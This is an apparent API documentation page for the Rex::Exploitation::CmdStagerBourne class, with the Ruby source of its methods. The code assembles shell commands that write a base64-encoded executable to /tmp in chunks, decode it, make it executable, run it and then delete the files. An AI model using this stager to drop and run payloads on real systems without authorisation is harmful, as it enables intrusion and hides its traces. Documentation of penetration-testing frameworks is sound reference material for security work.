Class: Rex::Exploitation::CmdStagerBourne

Inherits:
CmdStagerBase show all
Defined in:
lib/rex/exploitation/cmdstager/bourne.rb

Instance Method Summary collapse

Methods inherited from CmdStagerBase

#generate_cmds_payload, #setup, #slice_up_payload, #teardown

Constructor Details

#initialize(exe) ⇒ CmdStagerBourne

Returns a new instance of CmdStagerBourne.



12
13
14
15
16
17
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 12

def initialize(exe)
  super

  @var_encoded = Rex::Text.rand_text_alpha(5)
  @var_decoded = Rex::Text.rand_text_alpha(5)
end

Instance Method Details

#cmd_concat_operatorObject



107
108
109
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 107

def cmd_concat_operator
  " ; "
end

#compress_commands(cmds, opts) ⇒ Object



85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 85

def compress_commands(cmds, opts)
  # Make it all happen
  cmds << "chmod +x #{@tempdir}#{@var_decoded}.bin"
  # Background the process, allowing the cleanup code to continue and delete the data
  # while allowing the original shell to continue to function since it isn't waiting
  # on the payload to exit.  The 'sleep' is required as '&' is a command terminator
  # and having & and the cmds delimiter ';' next to each other is invalid.
  if opts[:background]
    cmds << "#{@tempdir}#{@var_decoded}.bin & sleep 2"
  else
    cmds << "#{@tempdir}#{@var_decoded}.bin"
  end

  # Clean up after unless requested not to..
  if (not opts[:nodelete])
    cmds << "rm -f #{@tempdir}#{@var_decoded}.bin"
    cmds << "rm -f #{@tempdir}#{@var_encoded}.b64"
  end

  super
end

#encode_payload(opts) ⇒ Object

Simple base64…



42
43
44
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 42

def encode_payload(opts)
  Rex::Text.encode_base64(@exe)
end

#generate(opts = {}) ⇒ Object



19
20
21
22
23
24
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 19

def generate(opts = {})
  opts[:temp] = opts[:temp] || '/tmp/'
  opts[:temp] = opts[:temp].gsub(/'/, "\\\\'")
  opts[:temp] = opts[:temp].gsub(/ /, "\\ ")
  super
end

#generate_cmds(opts) ⇒ Object

Override just to set the extra byte count



29
30
31
32
33
34
35
36
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 29

def generate_cmds(opts)
  # Set the start/end of the commands here (vs initialize) so we have @tempdir
  @cmd_start = "echo -n "
  @cmd_end   = ">>#{@tempdir}#{@var_encoded}.b64"
  xtra_len = @cmd_start.length + @cmd_end.length + 1
  opts.merge!({ :extra => xtra_len })
  super
end

#generate_cmds_decoder(opts) ⇒ Object

Generate the commands that will decode the file we just created



68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 68

def generate_cmds_decoder(opts)
  decoders = [
    "base64 --decode -",
    "openssl enc -d -A -base64 -in /dev/stdin",
    "python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());'",
    "perl -MMIME::Base64 -ne 'print decode_base64($_)'"
  ]
  decoder_cmd = []
  decoders.each do |cmd|
    binary = cmd.split(' ')[0]
    decoder_cmd << "(which #{binary} >&2 && #{cmd})"
  end
  decoder_cmd = decoder_cmd.join(" || ")
  decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > #{@tempdir}#{@var_decoded}.bin < #{@tempdir}#{@var_encoded}.b64"
  [ decoder_cmd ]
end

#parts_to_commands(parts, opts) ⇒ Object

Combine the parts of the encoded file with the stuff that goes before / after it.



51
52
53
54
55
56
57
58
59
60
61
62
63
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 51

def parts_to_commands(parts, opts)

  cmds = []
  parts.each do |p|
    cmd = ''
    cmd << @cmd_start
    cmd << p
    cmd << @cmd_end
    cmds << cmd
  end

  cmds
end